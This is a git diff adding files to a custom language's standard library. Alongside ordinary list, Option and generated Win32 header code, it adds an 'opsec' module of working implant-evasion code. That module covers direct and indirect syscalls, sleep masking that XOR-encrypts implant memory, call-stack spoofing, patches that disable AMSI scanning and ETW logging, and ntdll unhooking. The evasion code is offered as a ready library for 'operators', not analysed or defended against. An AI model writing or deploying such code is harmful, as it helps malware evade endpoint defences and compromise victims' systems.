-0,0 +1,179 @@ + +struct ListNode { + value: u64, + prev: u64, + next: u64, +} + +struct List { + head: u64, + tail: u64, + count: u64, +} + +// Construction + +fn list_new() -> u64 { + var l: u64 = mem.alloc(sizeof(List)); + // mem.alloc returns NULL on OOM. Memory is zero-init from the BSS heap, + // so head/tail/count are already 0 - nothing more to do. + ret l; +} + +// Append / prepend + +fn list_push(lp: u64, value: u64) -> int { + if lp == 0 { ret 0; } + var node: u64 = mem.alloc(sizeof(ListNode)); + if node == 0 { ret 0; } + ((ListNode)node).value = value; + ((ListNode)node).prev = ((List)lp).tail; + // .next is already 0 from gc zero-init. + + var old_tail: u64 = ((List)lp).tail; + if old_tail == 0 { + ((List)lp).head = node; + } else { + ((ListNode)old_tail).next = node; + } + ((List)lp).tail = node; + ((List)lp).count = ((List)lp).count + 1; + ret 1; +} + +fn list_unshift(lp: u64, value: u64) -> int { + if lp == 0 { ret 0; } + var node: u64 = mem.alloc(sizeof(ListNode)); + if node == 0 { ret 0; } + ((ListNode)node).value = value; + ((ListNode)node).next = ((List)lp).head; + // .prev already 0. + + var old_head: u64 = ((List)lp).head; + if old_head == 0 { + ((List)lp).tail = node; + } else { + ((ListNode)old_head).prev = node; + } + ((List)lp).head = node; + ((List)lp).count = ((List)lp).count + 1; + ret 1; +} + +// Remove + +fn list_pop(lp: u64) -> u64 { + if lp == 0 { ret 0; } + var t: u64 = ((List)lp).tail; + if t == 0 { ret 0; } + var v: u64 = ((ListNode)t).value; + var new_tail: u64 = ((ListNode)t).prev; + if new_tail == 0 { + ((List)lp).head = 0; + } else { + ((ListNode)new_tail).next = 0; + } + ((List)lp).tail = new_tail; + ((List)lp).count = ((List)lp).count - 1; + // The node itself stays in the GC heap until the binary exits - bump + // allocator has no free. That's the price of "memory safe without + // careful lifetime tracking." + ret v; +} + +fn list_shift(lp: u64) -> u64 { + if lp == 0 { ret 0; } + var h: u64 = ((List)lp).head; + if h == 0 { ret 0; } + var v: u64 = ((ListNode)h).value; + var new_head: u64 = ((ListNode)h).next; + if new_head == 0 { + ((List)lp).tail = 0; + } else { + ((ListNode)new_head).prev = 0; + } + ((List)lp).head = new_head; + ((List)lp).count = ((List)lp).count - 1; + ret v; +} + +fn list_clear(lp: u64) -> int { + if lp == 0 { ret 0; } + ((List)lp).head = 0; + ((List)lp).tail = 0; + ((List)lp).count = 0; + ret 1; +} + +// Read / write + +fn list_count(lp: u64) -> u64 { + if lp == 0 { ret 0; } + ret ((List)lp).count; +} + +// Walk forward from head, no bounds-check error on out-of-range - returns +// 0 (same sentinel as "value 0"). Use list_count first if your data +// genuinely contains 0 as a valid value. +fn list_get(lp: u64, idx: u64) -> u64 { + if lp == 0 { ret 0; } + var n: u64 = ((List)lp).head; + var i: u64 = 0; + while n != 0 { + if i == idx { ret ((ListNode)n).value; } + n = ((ListNode)n).next; + i = i + 1; + } + ret 0; +} + +fn list_set(lp: u64, idx: u64, value: u64) -> int { + if lp == 0 { ret 0; } + var n: u64 = ((List)lp).head; + var i: u64 = 0; + while n != 0 { + if i == idx { + ((ListNode)n).value = value; + ret 1; + } + n = ((ListNode)n).next; + i = i + 1; + } + ret 0; +} + +fn list_contains(lp: u64, value: u64) -> int { + if lp == 0 { ret 0; } + var n: u64 = ((List)lp).head; + while n != 0 { + if ((ListNode)n).value == value { ret 1; } + n = ((ListNode)n).next; + } + ret 0; +} + + +fn list_head(lp: u64) -> u64 { + if lp == 0 { ret 0; } + ret ((List)lp).head; +} + +fn list_tail(lp: u64) -> u64 { + if lp == 0 { ret 0; } + ret ((List)lp).tail; +} + +fn list_node_value(np: u64) -> u64 { + if np == 0 { ret 0; } + ret ((ListNode)np).value; +} + +fn list_node_next(np: u64) -> u64 { + if np == 0 { ret 0; } + ret ((ListNode)np).next; +} + +fn list_node_prev(np: u64) -> u64 { + if np == 0 { ret 0; } + ret ((ListNode)np).prev; +} diff --git a/stdlib/opsec/bootstrap_noop.etpy b/stdlib/opsec/bootstrap_noop.etpy new file mode 100644 index 0000000..197cee7 --- /dev/null +++ b/stdlib/opsec/bootstrap_noop.etpy @@ -0,0 +1,5 @@ + +[Override(Bootstrap)] +fn opsec_bootstrap_noop() -> int { + ret 0; +} diff --git a/stdlib/opsec/direct_syscall.etpy b/stdlib/opsec/direct_syscall.etpy new file mode 100644 index 0000000..6dcbb36 --- /dev/null +++ b/stdlib/opsec/direct_syscall.etpy @@ -0,0 +1,9 @@ + +[Override(NtCall)] +fn opsec_nt_syscall() -> int { + asm { + mov r10, rcx; + db 0x0F, 0x05; // syscall + ret; + } +} diff --git a/stdlib/opsec/indirect_syscall.etpy b/stdlib/opsec/indirect_syscall.etpy new file mode 100644 index 0000000..d25dccd --- /dev/null +++ b/stdlib/opsec/indirect_syscall.etpy @@ -0,0 +1,50 @@ + +// Cached gadget address, populated lazily on first NtCall. Zero +// means "not yet discovered"; the stub does a slow-path call on the +// first invocation and a single load on every subsequent call. +static __opsec_syscall_gadget: u64 = 0; + +fn __opsec_find_syscall_gadget() -> u64 { + var h_ntdll: void* = Kernel32.GetModuleHandleA("ntdll.dll"); + if h_ntdll == (void*)0 { ret 0; } + var nt_fn: char* = (char*)Kernel32.GetProcAddress( + h_ntdll, "NtAllocateVirtualMemory"); + if nt_fn == (char*)0 { ret 0; } + var i: int = 0; + while i < 32 { + if nt_fn[i] == (u8)0x0F { + if nt_fn[i + 1] == (u8)0x05 { + ret (u64)(nt_fn + i); + } + } + i = i + 1; + } + ret 0; +} + +[Override(NtCall)] +fn opsec_indirect_syscall() -> int { + asm { + mov r10, rcx + // Lazy-init the gadget on first call. r11 is volatile under + // Win64 and not used by the syscall ABI; safe to scratch. + mov r11, %__opsec_syscall_gadget + test r11, r11 + jnz have_gadget + push rax + push r10 + sub rsp, 0x20 + call %__opsec_find_syscall_gadget + add rsp, 0x20 + pop r10 + mov %__opsec_syscall_gadget, rax + mov r11, rax + pop rax + test r11, r11 + jnz have_gadget + db 0x0F, 0x05 // fallback: in-region syscall + ret + have_gadget: + jmp r11 + } +} diff --git a/stdlib/opsec/sleep_ekko.etpy b/stdlib/opsec/sleep_ekko.etpy new file mode 100644 index 0000000..8573e6c --- /dev/null +++ b/stdlib/opsec/sleep_ekko.etpy @@ -0,0 +1,53 @@ + +use opsec_sleep_mask; + +static __opsec_sleep_base: u64 = 0; +static __opsec_sleep_size: u64 = 0; +static __opsec_sleep_key: u8 = (u8)0x5A; +// PAGE_EXECUTE_READ. Override to PAGE_EXECUTE_READWRITE (0x40) +// if your loader put the implant in RWX. +static __opsec_sleep_prot: u32 = (u32)0x20; +// One-shot signalable handle (CreateEventA) that +// WaitForSingleObject blocks on. Lazily created on first hook +// call so we don't pay the cost on builds where Sleep never fires. +static __opsec_sleep_event: u64 = 0; + +[Hook("KERNEL32$Sleep")] +fn __opsec_sleep_hook(ms: u32) -> void { + var sz: u64 = __opsec_sleep_size; + var k: u8 = __opsec_sleep_key; + var base: u64 = __opsec_sleep_base; + var orig_prot: u32 = __opsec_sleep_prot; + + if sz != 0 { + var old: u32 = 0; + // 0x04 = PAGE_READWRITE. Strips execute; allows write + // (needed for the XOR pass). + opsec_set_protect(base, sz, (u32)0x04, &old); + opsec_xor_region(base, sz, k); + } + + var h: u64 = __opsec_sleep_event; + if h == 0 { + // Manual-reset, non-signaled, no name. The handle is + // never set or closed - the kernel reaps it at process + // exit. We just need a wait target. + h = (u64)Kernel32.CreateEventA((void*)0, 1, 0, (char*)0); + __opsec_sleep_event = h; + } + if h != 0 { + Kernel32.WaitForSingleObject((void*)h, ms); + } else { + // CreateEventA failed (extremely rare). Fall back to the + // real Sleep so the implant doesn't bottleneck. + Kernel32.Sleep(ms); + } + + if sz != 0 { + opsec_xor_region(base, sz, k); + // Restore the original page protection. + var dummy: u32 = 0; + opsec_set_protect(base, sz, orig_prot, &dummy); + } + ret; +} diff --git a/stdlib/opsec/sleep_foliage.etpy b/stdlib/opsec/sleep_foliage.etpy new file mode 100644 index 0000000..51de3a9 --- /dev/null +++ b/stdlib/opsec/sleep_foliage.etpy @@ -0,0 +1,33 @@ + +use opsec_sleep_mask; + +static __opsec_sleep_base: u64 = 0; +static __opsec_sleep_size: u64 = 0; +static __opsec_sleep_key: u8 = (u8)0x5A; +static __opsec_sleep_prot: u32 = (u32)0x20; + +[Hook("KERNEL32$Sleep")] +fn __opsec_sleep_hook(ms: u32) -> void { + var sz: u64 = __opsec_sleep_size; + var k: u8 = __opsec_sleep_key; + var base: u64 = __opsec_sleep_base; + var orig_prot: u32 = __opsec_sleep_prot; + + if sz != 0 { + var old: u32 = 0; + opsec_set_protect(base, sz, (u32)0x04, &old); // PAGE_READWRITE + opsec_xor_region(base, sz, k); + } + + var interval: u64 = 0; + var as_i64: i64 = 0 - ((i64)ms * (i64)10000); + interval = (u64)as_i64; + Ntdll.NtDelayExecution(0, (void*)&interval); + + if sz != 0 { + opsec_xor_region(base, sz, k); + var dummy: u32 = 0; + opsec_set_protect(base, sz, orig_prot, &dummy); + } + ret; +} diff --git a/stdlib/opsec/sleep_mask.etpy b/stdlib/opsec/sleep_mask.etpy new file mode 100644 index 0000000..6444697 --- /dev/null +++ b/stdlib/opsec/sleep_mask.etpy @@ -0,0 +1,39 @@ + +fn opsec_xor_region(addr: u64, length: u64, key: u8) -> void { + var p: char* = (char*)addr; + var i: u64 = 0; + while i < length { + p[i] = p[i] ^ key; + i = i + 1; + } + ret; +} + +fn opsec_anchor() -> u64 { + var addr: u64; + asm { + lea rax, opsec_anchor + mov %addr, rax + } + ret addr; +} + +fn opsec_set_protect(addr: u64, length: u64, new_protect: u32, old_out: u32*) -> bool { + var ok: int = Kernel32.VirtualProtect( + (void*)addr, length, new_protect, old_out); + if ok == 0 { ret false; } + ret true; +} + +fn opsec_mask_region(addr: u64, length: u64, key: u8) -> bool { + var old: u32 = 0; + // PAGE_READWRITE = 0x04 - strips execute, allows write. + if opsec_set_protect(addr, length, 0x04, &old) == false { + ret false; + } + opsec_xor_region(addr, length, key); + var dummy: u32 = 0; + // Restore. old was set by the first call. + opsec_set_protect(addr, length, old, &dummy); + ret true; +} diff --git a/stdlib/opsec/sleep_simple.etpy b/stdlib/opsec/sleep_simple.etpy new file mode 100644 index 0000000..14bcfab --- /dev/null +++ b/stdlib/opsec/sleep_simple.etpy @@ -0,0 +1,25 @@ + +use opsec_sleep_mask; + +static __opsec_sleep_base: u64 = 0; +static __opsec_sleep_size: u64 = 0; +static __opsec_sleep_key: u8 = (u8)0x5A; + +[Hook("KERNEL32$Sleep")] +fn __opsec_sleep_hook(ms: u32) -> void { + var sz: u64 = __opsec_sleep_size; + var k: u8 = __opsec_sleep_key; + + if sz != 0 { + opsec_xor_region(__opsec_sleep_base, sz, k); + } + + // Self-recursion bypass: this call goes to the real Sleep, + // not back into us. The hook compiler suppresses re-entry. + Kernel32.Sleep(ms); + + if sz != 0 { + opsec_xor_region(__opsec_sleep_base, sz, k); + } + ret; +} diff --git a/stdlib/opsec/stack_spoof.etpy b/stdlib/opsec/stack_spoof.etpy new file mode 100644 index 0000000..db25278 --- /dev/null +++ b/stdlib/opsec/stack_spoof.etpy @@ -0,0 +1,230 @@ + +// JMP RBX gadget cache. Zero = not yet discovered. +static __opsec_jmp_rbx_gadget: u64 = 0; + +static __opsec_gadget_tried: u64 = 0; + +fn __opsec_find_jmp_rbx() -> u64 { + var h: void* = Kernel32.GetModuleHandleA("ntdll.dll"); + if h == (void*)0 { ret 0; } + var base: char* = (char*)Kernel32.GetProcAddress(h, "NtAllocateVirtualMemory"); + if base == (char*)0 { ret 0; } + var i: int = 0; + while i < 0x40000 { + if base[i] == (u8)0xFF { + if base[i + 1] == (u8)0xE3 { + ret (u64)(base + i); + } + } + i = i + 1; + } + ret 0; +} + +// Public initializer. Operators can call this from a [Override] +// or from the top of go to do the gadget discovery eagerly +// instead of paying for it on the first stackspoof_callN. Idempotent. +fn stackspoof_init() -> u64 { + if __opsec_gadget_tried != 0 { ret __opsec_jmp_rbx_gadget; } + var g: u64 = __opsec_find_jmp_rbx(); + __opsec_jmp_rbx_gadget = g; + __opsec_gadget_tried = 1; + ret g; +} + + +fn stackspoof_call0(fn_ptr: u64) -> u64 { + asm { + // --- Lazy init --- + mov r11, %__opsec_jmp_rbx_gadget + test r11, r11 + jnz have0 + // Mark "tried" before calling discovery so a re-entry + // from the discovery path can't recurse infinitely. + mov rax, 1 + mov %__opsec_gadget_tried, rax + push rcx + sub rsp, 0x20 + call %__opsec_find_jmp_rbx + add rsp, 0x20 + pop rcx + mov %__opsec_jmp_rbx_gadget, rax + mov r11, rax + test r11, r11 + jnz have0 + // Gadget unavailable. Fall back to a plain call so user + // code still works - just without the spoof benefit. + mov rax, %fn_ptr + call rax + ret + have0: + // Save real return. + mov rbx, [rbp + 8] + // Target. + mov rax, %fn_ptr + // Tear down our frame. + mov rsp, rbp + pop rbp + // Overwrite caller's RIP slot with the gadget. + mov [rsp], r11 + // JMP target. Win64 alignment: rsp here = entry rsp + // (8-mod-16, the post-CALL state target expects). + jmp rax + } +} + +fn stackspoof_call1(fn_ptr: u64, a0: u64) -> u64 { + asm { + mov r11, %__opsec_jmp_rbx_gadget + test r11, r11 + jnz have1 + mov rax, 1 + mov %__opsec_gadget_tried, rax + push rcx + push rdx + sub rsp, 0x28 + call %__opsec_find_jmp_rbx + add rsp, 0x28 + pop rdx + pop rcx + mov %__opsec_jmp_rbx_gadget, rax + mov r11, rax + test r11, r11 + jnz have1 + mov rax, %fn_ptr + mov rcx, %a0 + call rax + ret + have1: + mov rbx, [rbp + 8] + mov rax, %fn_ptr + mov rcx, %a0 + mov rsp, rbp + pop rbp + mov [rsp], r11 + jmp rax + } +} + +fn stackspoof_call2(fn_ptr: u64, a0: u64, a1: u64) -> u64 { + asm { + mov r11, %__opsec_jmp_rbx_gadget + test r11, r11 + jnz have2 + mov rax, 1 + mov %__opsec_gadget_tried, rax + push rcx + push rdx + push r8 + push r9 + sub rsp, 0x28 + call %__opsec_find_jmp_rbx + add rsp, 0x28 + pop r9 + pop r8 + pop rdx + pop rcx + mov %__opsec_jmp_rbx_gadget, rax + mov r11, rax + test r11, r11 + jnz have2 + mov rax, %fn_ptr + mov rcx, %a0 + mov rdx, %a1 + call rax + ret + have2: + mov rbx, [rbp + 8] + mov rax, %fn_ptr + mov rcx, %a0 + mov rdx, %a1 + mov rsp, rbp + pop rbp + mov [rsp], r11 + jmp rax + } +} + +fn stackspoof_call3(fn_ptr: u64, a0: u64, a1: u64, a2: u64) -> u64 { + asm { + mov r11, %__opsec_jmp_rbx_gadget + test r11, r11 + jnz have3 + mov rax, 1 + mov %__opsec_gadget_tried, rax + push rcx + push rdx + push r8 + push r9 + sub rsp, 0x28 + call %__opsec_find_jmp_rbx + add rsp, 0x28 + pop r9 + pop r8 + pop rdx + pop rcx + mov %__opsec_jmp_rbx_gadget, rax + mov r11, rax + test r11, r11 + jnz have3 + mov rax, %fn_ptr + mov rcx, %a0 + mov rdx, %a1 + mov r8, %a2 + call rax + ret + have3: + mov rbx, [rbp + 8] + mov rax, %fn_ptr + mov rcx, %a0 + mov rdx, %a1 + mov r8, %a2 + mov rsp, rbp + pop rbp + mov [rsp], r11 + jmp rax + } +} + +fn stackspoof_call4(fn_ptr: u64, a0: u64, a1: u64, a2: u64, a3: u64) -> u64 { + asm { + mov r11, %__opsec_jmp_rbx_gadget + test r11, r11 + jnz have4 + mov rax, 1 + mov %__opsec_gadget_tried, rax + push rcx + push rdx + push r8 + push r9 + sub rsp, 0x28 + call %__opsec_find_jmp_rbx + add rsp, 0x28 + pop r9 + pop r8 + pop rdx + pop rcx + mov %__opsec_jmp_rbx_gadget, rax + mov r11, rax + test r11, r11 + jnz have4 + mov rax, %fn_ptr + mov rcx, %a0 + mov rdx, %a1 + mov r8, %a2 + mov r9, %a3 + call rax + ret + have4: + mov rbx, [rbp + 8] + mov rax, %fn_ptr + mov rcx, %a0 + mov rdx, %a1 + mov r8, %a2 + mov r9, %a3 + mov rsp, rbp + pop rbp + mov [rsp], r11 + jmp rax + } +} diff --git a/stdlib/opsec_amsi.etpy b/stdlib/opsec_amsi.etpy new file mode 100644 index 0000000..0bd0897 --- /dev/null +++ b/stdlib/opsec_amsi.etpy @@ -0,0 +1,42 @@ + +use bof; + +[Stage(Init)] +fn opsec_amsi_patch() -> void { + // Locate amsi.dll. If it is not loaded into the host + // process this is a silent no-op - the AMSI surface is + // not present, so there is nothing to bypass. + var amsi: u64 = (u64)Kernel32.GetModuleHandleA("amsi.dll"); + if amsi == 0 { + ret; + } + + // Resolve AmsiScanBuffer. Same silent-no-op rule if the + // export is missing (very rare; means the loaded amsi.dll + // is from a Windows version that renamed the function). + var addr: u64 = (u64)Kernel32.GetProcAddress((void*)amsi, + "AmsiScanBuffer"); + if addr == 0 { + ret; + } + + var old: u32 = 0; + if Kernel32.VirtualProtect((void*)addr, (u64)6, + PAGE_EXECUTE_READWRITE, &old) == 0 { + ret; + } + + // mov eax, 0x80070057 ; E_INVALIDARG + // ret + var p: char* = (char*)addr; + p[0] = (u8)0xB8; + p[1] = (u8)0x57; + p[2] = (u8)0x00; + p[3] = (u8)0x07; + p[4] = (u8)0x80; + p[5] = (u8)0xC3; + + var dummy: u32 = 0; + Kernel32.VirtualProtect((void*)addr, (u64)6, old, &dummy); + ret; +} diff --git a/stdlib/opsec_etw.etpy b/stdlib/opsec_etw.etpy new file mode 100644 index 0000000..f679e15 --- /dev/null +++ b/stdlib/opsec_etw.etpy @@ -0,0 +1,32 @@ + +use bof; + +fn opsec_etw_patch_one(name: str) -> void { + var ntdll: u64 = (u64)Kernel32.GetModuleHandleA("ntdll.dll"); + if ntdll == 0 { + ret; + } + var addr: u64 = (u64)Kernel32.GetProcAddress((void*)ntdll, name); + if addr == 0 { + ret; + } + var old: u32 = 0; + if Kernel32.VirtualProtect((void*)addr, (u64)1, + PAGE_EXECUTE_READWRITE, &old) == 0 { + ret; + } + // ret (0xC3) - return-immediately patch. + var p: char* = (char*)addr; + p[0] = (u8)0xC3; + var dummy: u32 = 0; + Kernel32.VirtualProtect((void*)addr, (u64)1, old, &dummy); + ret; +} + +[Stage(Init)] +fn opsec_etw_patch() -> void { + opsec_etw_patch_one("EtwEventWrite"); + opsec_etw_patch_one("EtwEventWriteFull"); + opsec_etw_patch_one("EtwEventWriteEx"); + ret; +} diff --git a/stdlib/opsec_unhook.etpy b/stdlib/opsec_unhook.etpy new file mode 100644 index 0000000..2e72d62 --- /dev/null +++ b/stdlib/opsec_unhook.etpy @@ -0,0 +1,116 @@ + +use bof; + + +fn opsec_unhook_section_text(base: u64, va_out: u32*, + sz_out: u32*) -> int { + // e_lfanew at offset 0x3C of the DOS header (LE u32). + var b: char* = (char*)base; + var e_lfanew: u32 = (u32)((u32)b[60] | ((u32)b[61] << 8) + | ((u32)b[62] << 16) | ((u32)b[63] << 24)); + var nt: u64 = base + (u64)e_lfanew; + + // FileHeader is at nt + 4 (after "PE\0\0"). NumberOfSections + // and SizeOfOptionalHeader live at offsets 2 and 16 of the + // file header respectively. + var fh: char* = (char*)(nt + (u64)4); + var nsec: u32 = (u32)((u32)fh[2] | ((u32)fh[3] << 8)); + var opt: u32 = (u32)((u32)fh[16] | ((u32)fh[17] << 8)); + + // Section table immediately follows the optional header. + var sect: u64 = nt + (u64)4 + (u64)20 + (u64)opt; + + var i: u32 = 0; + while i < nsec { + var s: char* = (char*)(sect + (u64)i * (u64)40); + // .text == 2E 74 65 78 74 00 00 00 + if s[0] == (u8)0x2E { if s[1] == (u8)0x74 { + if s[2] == (u8)0x65 { if s[3] == (u8)0x78 { + if s[4] == (u8)0x74 { if s[5] == (u8)0x00 { + var va: u32 = (u32)((u32)s[12] | ((u32)s[13] << 8) + | ((u32)s[14] << 16) | ((u32)s[15] << 24)); + var sz: u32 = (u32)((u32)s[16] | ((u32)s[17] << 8) + | ((u32)s[18] << 16) | ((u32)s[19] << 24)); + *va_out = va; + *sz_out = sz; + ret 1; + } } } } } } + i = i + (u32)1; + } + ret 0; +} + +[Stage(Init)] +fn opsec_unhook_ntdll() -> void { + var loaded: u64 = (u64)Kernel32.GetModuleHandleA("ntdll.dll"); + if loaded == 0 { + ret; + } + + // GENERIC_READ = 0x80000000, FILE_SHARE_READ = 1, + // OPEN_EXISTING = 3, FILE_ATTRIBUTE_NORMAL = 0x80. + var h: u64 = (u64)Kernel32.CreateFileA( + "C:\\Windows\\System32\\ntdll.dll", + (u32)0x80000000, (u32)1, (void*)0, (u32)3, + (u32)0x80, (void*)0); + // INVALID_HANDLE_VALUE = -1 cast to u64. + if h == (u64)0xFFFFFFFFFFFFFFFF { + ret; + } + + // CreateFileMapping with PAGE_READONLY (2). The clean copy + // is read-only; we never modify it. + var mapping: u64 = (u64)Kernel32.CreateFileMappingA( + (void*)h, (void*)0, (u32)2, (u32)0, (u32)0, (char*)0); + if mapping == 0 { + Kernel32.CloseHandle((void*)h); + ret; + } + + // FILE_MAP_READ = 4. + var clean: u64 = (u64)Kernel32.MapViewOfFile( + (void*)mapping, (u32)4, (u32)0, (u32)0, (u64)0); + if clean == 0 { + Kernel32.CloseHandle((void*)mapping); + Kernel32.CloseHandle((void*)h); + ret; + } + + var loaded_va: u32 = 0; + var loaded_sz: u32 = 0; + var clean_va: u32 = 0; + var clean_sz: u32 = 0; + if opsec_unhook_section_text(loaded, &loaded_va, + &loaded_sz) == 0 { + Kernel32.UnmapViewOfFile((void*)clean); + Kernel32.CloseHandle((void*)mapping); + Kernel32.CloseHandle((void*)h); + ret; + } + if opsec_unhook_section_text(clean, &clean_va, &clean_sz) == 0 { + Kernel32.UnmapViewOfFile((void*)clean); + Kernel32.CloseHandle((void*)mapping); + Kernel32.CloseHandle((void*)h); + ret; + } + + var loaded_text: u64 = loaded + (u64)loaded_va; + var clean_text: u64 = clean + (u64)clean_va; + var len: u64 = (u64)loaded_sz; + if (u64)clean_sz < len { len = (u64)clean_sz; } + + // Flip the loaded .text to writable, copy, restore. + var old: u32 = 0; + if Kernel32.VirtualProtect((void*)loaded_text, len, + PAGE_EXECUTE_READWRITE, &old) != 0 { + mem.copy(loaded_text, clean_text, len); + var dummy: u32 = 0; + Kernel32.VirtualProtect((void*)loaded_text, len, old, + &dummy); + } + + Kernel32.UnmapViewOfFile((void*)clean); + Kernel32.CloseHandle((void*)mapping); + Kernel32.CloseHandle((void*)h); + ret; +} diff --git a/stdlib/option.etpy b/stdlib/option.etpy new file mode 100644 index 0000000..bc5bb9e --- /dev/null +++ b/stdlib/option.etpy @@ -0,0 +1,43 @@ + +struct Option { + is_some: u8, + value: u64, +} + +// some - wrap a value as a present Option. +fn some(v: u64) -> Option { + ret Option { is_some: 1, value: v }; +} + +// none - produce the absent Option. value is left zero. +fn none() -> Option { + ret Option { is_some: 0, value: 0 }; +} + +// is_some - 1 if present, 0 if absent. Useful as the if-condition. +fn is_some(o: Option) -> int { + if o.is_some == 0 { ret 0; } + ret 1; +} + +// is_none - inverse of is_some. Symmetric naming. +fn is_none(o: Option) -> int { + if o.is_some == 0 { ret 1; } + ret 0; +} + +// unwrap - return the inner value, or raise 0xCE ("crashed because +// empty") if the Option was None. Use if is_some { unwrap } when +// you want to handle the absence yourself. +fn unwrap(o: Option) -> u64 { + if o.is_some == 0 { raise 0xCE; } + ret o.value; +} + +// unwrap_or - return the inner value if present, else +// default. Branch-less from the caller's perspective; ideal for +// supplying a sentinel ("timeout = 5000 ms by default") without a temp. +fn unwrap_or(o: Option, default: u64) -> u64 { + if o.is_some == 0 { ret default; } + ret o.value; +} diff --git a/stdlib/win32/authorization.h b/stdlib/win32/authorization.h new file mode 100644 index 0000000..f3bd2b1 --- /dev/null +++ b/stdlib/win32/authorization.h @@ -0,0 +1,818 @@ +// Generated by entc-win32gen from `Windows.Win32.Security.Authorization`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define SDDL_REVISION_1 0x1 +#define SDDL_REVISION 0x1 +// SKIPPED const SDDL_OWNER: non-integer constant +// SKIPPED const SDDL_GROUP: non-integer constant +// SKIPPED const SDDL_DACL: non-integer constant +// SKIPPED const SDDL_SACL: non-integer constant +// SKIPPED const SDDL_PROTECTED: non-integer constant +// SKIPPED const SDDL_AUTO_INHERIT_REQ: non-integer constant +// SKIPPED const SDDL_AUTO_INHERITED: non-integer constant +// SKIPPED const SDDL_NULL_ACL: non-integer constant +// SKIPPED const SDDL_ACCESS_ALLOWED: non-integer constant +// SKIPPED const SDDL_ACCESS_DENIED: non-integer constant +// SKIPPED const SDDL_OBJECT_ACCESS_ALLOWED: non-integer constant +// SKIPPED const SDDL_OBJECT_ACCESS_DENIED: non-integer constant +// SKIPPED const SDDL_AUDIT: non-integer constant +// SKIPPED const SDDL_ALARM: non-integer constant +// SKIPPED const SDDL_OBJECT_AUDIT: non-integer constant +// SKIPPED const SDDL_OBJECT_ALARM: non-integer constant +// SKIPPED const SDDL_MANDATORY_LABEL: non-integer constant +// SKIPPED const SDDL_PROCESS_TRUST_LABEL: non-integer constant +// SKIPPED const SDDL_CALLBACK_ACCESS_ALLOWED: non-integer constant +// SKIPPED const SDDL_CALLBACK_ACCESS_DENIED: non-integer constant +// SKIPPED const SDDL_RESOURCE_ATTRIBUTE: non-integer constant +// SKIPPED const SDDL_SCOPED_POLICY_ID: non-integer constant +// SKIPPED const SDDL_CALLBACK_AUDIT: non-integer constant +// SKIPPED const SDDL_CALLBACK_OBJECT_ACCESS_ALLOWED: non-integer constant +// SKIPPED const SDDL_ACCESS_FILTER: non-integer constant +// SKIPPED const SDDL_INT: non-integer constant +// SKIPPED const SDDL_UINT: non-integer constant +// SKIPPED const SDDL_WSTRING: non-integer constant +// SKIPPED const SDDL_SID: non-integer constant +// SKIPPED const SDDL_BLOB: non-integer constant +// SKIPPED const SDDL_BOOLEAN: non-integer constant +// SKIPPED const SDDL_CONTAINER_INHERIT: non-integer constant +// SKIPPED const SDDL_OBJECT_INHERIT: non-integer constant +// SKIPPED const SDDL_NO_PROPAGATE: non-integer constant +// SKIPPED const SDDL_INHERIT_ONLY: non-integer constant +// SKIPPED const SDDL_INHERITED: non-integer constant +// SKIPPED const SDDL_CRITICAL: non-integer constant +// SKIPPED const SDDL_TRUST_PROTECTED_FILTER: non-integer constant +// SKIPPED const SDDL_AUDIT_SUCCESS: non-integer constant +// SKIPPED const SDDL_AUDIT_FAILURE: non-integer constant +// SKIPPED const SDDL_READ_PROPERTY: non-integer constant +// SKIPPED const SDDL_WRITE_PROPERTY: non-integer constant +// SKIPPED const SDDL_CREATE_CHILD: non-integer constant +// SKIPPED const SDDL_DELETE_CHILD: non-integer constant +// SKIPPED const SDDL_LIST_CHILDREN: non-integer constant +// SKIPPED const SDDL_SELF_WRITE: non-integer constant +// SKIPPED const SDDL_LIST_OBJECT: non-integer constant +// SKIPPED const SDDL_DELETE_TREE: non-integer constant +// SKIPPED const SDDL_CONTROL_ACCESS: non-integer constant +// SKIPPED const SDDL_READ_CONTROL: non-integer constant +// SKIPPED const SDDL_WRITE_DAC: non-integer constant +// SKIPPED const SDDL_WRITE_OWNER: non-integer constant +// SKIPPED const SDDL_STANDARD_DELETE: non-integer constant +// SKIPPED const SDDL_GENERIC_ALL: non-integer constant +// SKIPPED const SDDL_GENERIC_READ: non-integer constant +// SKIPPED const SDDL_GENERIC_WRITE: non-integer constant +// SKIPPED const SDDL_GENERIC_EXECUTE: non-integer constant +// SKIPPED const SDDL_FILE_ALL: non-integer constant +// SKIPPED const SDDL_FILE_READ: non-integer constant +// SKIPPED const SDDL_FILE_WRITE: non-integer constant +// SKIPPED const SDDL_FILE_EXECUTE: non-integer constant +// SKIPPED const SDDL_KEY_ALL: non-integer constant +// SKIPPED const SDDL_KEY_READ: non-integer constant +// SKIPPED const SDDL_KEY_WRITE: non-integer constant +// SKIPPED const SDDL_KEY_EXECUTE: non-integer constant +// SKIPPED const SDDL_NO_WRITE_UP: non-integer constant +// SKIPPED const SDDL_NO_READ_UP: non-integer constant +// SKIPPED const SDDL_NO_EXECUTE_UP: non-integer constant +#define SDDL_ALIAS_SIZE 0x2 +// SKIPPED const SDDL_DOMAIN_ADMINISTRATORS: non-integer constant +// SKIPPED const SDDL_DOMAIN_GUESTS: non-integer constant +// SKIPPED const SDDL_DOMAIN_USERS: non-integer constant +// SKIPPED const SDDL_ENTERPRISE_DOMAIN_CONTROLLERS: non-integer constant +// SKIPPED const SDDL_DOMAIN_DOMAIN_CONTROLLERS: non-integer constant +// SKIPPED const SDDL_DOMAIN_COMPUTERS: non-integer constant +// SKIPPED const SDDL_BUILTIN_ADMINISTRATORS: non-integer constant +// SKIPPED const SDDL_BUILTIN_GUESTS: non-integer constant +// SKIPPED const SDDL_BUILTIN_USERS: non-integer constant +// SKIPPED const SDDL_LOCAL_ADMIN: non-integer constant +// SKIPPED const SDDL_LOCAL_GUEST: non-integer constant +// SKIPPED const SDDL_ACCOUNT_OPERATORS: non-integer constant +// SKIPPED const SDDL_BACKUP_OPERATORS: non-integer constant +// SKIPPED const SDDL_PRINTER_OPERATORS: non-integer constant +// SKIPPED const SDDL_SERVER_OPERATORS: non-integer constant +// SKIPPED const SDDL_AUTHENTICATED_USERS: non-integer constant +// SKIPPED const SDDL_PERSONAL_SELF: non-integer constant +// SKIPPED const SDDL_CREATOR_OWNER: non-integer constant +// SKIPPED const SDDL_CREATOR_GROUP: non-integer constant +// SKIPPED const SDDL_LOCAL_SYSTEM: non-integer constant +// SKIPPED const SDDL_POWER_USERS: non-integer constant 